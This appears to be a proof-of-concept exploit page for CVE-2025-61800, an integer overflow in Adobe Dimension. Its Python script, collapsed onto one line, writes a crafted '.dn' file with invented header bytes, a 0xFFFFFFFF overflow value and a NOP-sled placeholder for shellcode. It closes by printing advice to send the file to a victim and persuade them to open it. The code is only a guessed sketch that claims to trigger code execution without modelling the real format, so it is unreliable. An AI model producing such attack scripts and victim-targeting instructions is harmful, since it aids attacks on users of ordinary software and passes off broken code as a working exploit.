CVE-2025-61800：Adobe Dimension整数溢出导致任意代码执行漏洞

# CVE-2025-61800 PoC - Adobe Dimension Integer Overflow # This PoC demonstrates the concept of crafting a malicious file # to trigger integer overflow in Adobe Dimension 4.1.4 and earlier. # # NOTE: This is a conceptual PoC. Actual exploitation requires # reverse engineering the target file format to identify the # vulnerable integer field. import struct import os # Target: Adobe Dimension project file (.dn) or related format # The vulnerability is an integer overflow/wraparound that leads # to arbitrary code execution when a malicious file is opened. def craft_malicious_dimension_file(output_path): """ Craft a malicious file that triggers integer overflow in Adobe Dimension's file parser. """ # File header - simulates a valid Adobe Dimension file header = b'\x41\x44\x42\x45' # Magic bytes (ADBE) header += struct.pack('<I', 0x00010000) # Version header += struct.pack('<I', 0x00000004) # Format type # Integer overflow trigger field # Setting a value that will cause overflow when multiplied # or added during buffer size calculation overflow_value = 0xFFFFFFFF # Max uint32 - will wrap around # Malicious payload section payload = b'' payload += struct.pack('<I', overflow_value) # Overflow trigger payload += struct.pack('<I', 0x41414141) # Controlled value # Shellcode placeholder (would be replaced with actual payload) # In real exploitation, this would contain position-independent # shellcode to execute arbitrary commands shellcode_placeholder = b'\x90' * 256 # NOP sled placeholder # Assemble the malicious file malicious_file = header + payload + shellcode_placeholder with open(output_path, 'wb') as f: f.write(malicious_file) print(f"[+] Malicious file crafted: {output_path}") print(f"[!] File size: {len(malicious_file)} bytes") print(f"[!] Overflow value: 0x{overflow_value:08X}") if __name__ == "__main__": output = "exploit_CVE-2025-61800.dn" craft_malicious_dimension_file(output) print("[*] Send this file to a victim and convince them to open it with Adobe Dimension") print("[*] Upon opening, integer overflow triggers arbitrary code execution")